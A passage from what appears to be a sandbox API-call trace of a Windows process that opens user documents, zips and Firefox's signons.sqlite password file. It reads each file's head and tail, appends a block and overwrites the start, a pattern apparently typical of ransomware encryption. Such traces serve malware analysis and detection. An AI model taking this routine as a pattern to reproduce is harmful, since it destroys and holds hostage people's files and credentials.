ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0032.365] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0032.365] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf")) returned 0x2020 [0032.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.371] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.371] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x50000 [0032.371] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.371] ReleaseMutex (hMutex=0x128) returned 1 [0032.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="signons.sqlite", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="signons.sqlite", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="signons.sqlite", lpUsedDefaultChar=0x0) returned 14 [0032.371] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.377] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4f000 [0032.378] ReadFile (in: hFile=0x170, lpBuffer=0x1df0e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df0e18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.379] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4f000 [0032.380] WriteFile (in: hFile=0x170, lpBuffer=0x1d85ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.380] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0032.380] WriteFile (in: hFile=0x170, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.380] CloseHandle (hObject=0x170) returned 1 [0032.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.386] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.386] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x222 [0032.386] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.386] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.386] ReleaseMutex (hMutex=0x128) returned 1 [0032.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CodeFile.zip", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CodeFile.zip", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CodeFile.zip", lpUsedDefaultChar=0x0) returned 12 [0032.386] ReadFile (in: hFile=0x170, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x222, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2f4f2bc*=0x222, lpOverlapped=0x0) returned 1 [0032.387] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0032.387] WriteFile (in: hFile=0x170, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x7aa, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7aa, lpOverlapped=0x0) returned 1 [0032.387] CloseHandle (hObject=0x170) returned 1 [0032.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.388] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.388] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x226 [0032.388] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.388] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.388] ReleaseMutex (hMutex=0x128) returned 1 [0032.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TextFile.zip", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TextFile.zip", cchWideChar=12, lpMultiByteStr=0x1e630ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TextFile.zip", lpUsedDefaultChar=0x0) returned 12 [0032.388] ReadFile (in: hFile=0x170, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x226, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2f4f2bc*=0x226, lpOverlapped=0x0) returned 1 [0032.389] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0032.389] WriteFile (in: hFile=0x170, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x7ae, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7ae, lpOverlapped=0x0) returned 1 [0032.390] CloseHandle (hObject=0x170) returned 1 [0032.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.392] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.392] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4faa [0032.392] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.393] ReleaseMutex (hMutex=0x128) returned 1 [0032.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Explorer.zip", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Explorer.zip", cchWideChar=12, lpMultiByteStr=0x1e630ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Explorer.zip", lpUsedDefaultChar=0x0) returned 12 [0032.393] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.398] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3faa [0032.398] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.407] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3faa [0032.407] WriteFile (in: hFile=0x190, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.407] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0032.407] WriteFile (in: hFile=0x190, lpBuffer=0x25cb338*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25cb338*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.408] CloseHandle (hObject=0x190) returned 1 [0032.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.409] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.409] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa5ff [0032.409] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.409] ReleaseMutex (hMutex=0x128) returned 1 [0032.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rdrmessage.zip", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rdrmessage.zip", cchWideChar=14, lpMultiByteStr=0x1e633ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rdrmessage.zip", lpUsedDefaultChar=0x0) returned 14 [0032.409] ReadFile (in: hFile=0x190, lpBuffer=0x25c51d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.411] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x95ff [0032.411] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.412] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x95ff [0032.412] WriteFile (in: hFile=0x190, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.412] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0032.412] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.412] CloseHandle (hObject=0x190) returned 1 [0032.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UywLc.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uywlc.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.413] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.413] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x17857 [0032.413] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.413] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.413] ReleaseMutex (hMutex=0x128) returned 1 [0032.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UywLc.xls", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UywLc.xls", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UywLc.xls", lpUsedDefaultChar=0x0) returned 9 [0032.413] ReadFile (in: hFile=0x190, lpBuffer=0x25c51d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.414] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x16857 [0032.414] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.414] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x16857 [0032.414] WriteFile (in: hFile=0x190, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.415] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0032.415] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.415] CloseHandle (hObject=0x190) returned 1 [0032.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rzeIpzt3BVrhrzzHVNx.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rzeipzt3bvrhrzzhvnx.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.416] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.416] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x13276 [0032.416] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.416] ReleaseMutex (hMutex=0x128) returned 1 [0032.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rzeIpzt3BVrhrzzHVNx.doc", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0032.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rzeIpzt3BVrhrzzHVNx.doc", cchWideChar=23, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rzeIpzt3BVrhrzzHVNx.doc", lpUsedDefaultChar=0x0) returned 23 [0032.417] ReadFile (in: hFile=0x190, lpBuffer=0x25c51d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.417] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x12276 [0032.418] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.418] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x12276 [0032.418] WriteFile (in: hFile=0x190, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.418] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0032.418] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.418] CloseHandle (hObject=0x190) returned 1 [0032.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qzncfTdlK.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qzncftdlk.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.420] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.420] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1005e [0032.420] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.420] ReleaseMutex (hMutex=0x128) returned 1 [0032.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="qzncfTdlK.odt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="qzncfTdlK.odt", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qzncfTdlK.odt", lpUsedDefaultChar=0x0) returned 13 [0032.420] ReadFile (in: hFile=0x190, lpBuffer=0x25c51d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.421] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf05e [0032.421] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.421] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf05e [0032.421] WriteFile (in: hFile=0x190, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.421] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0032.421] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.421] CloseHandle (hObject=0x190) returned 1 [0032.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files 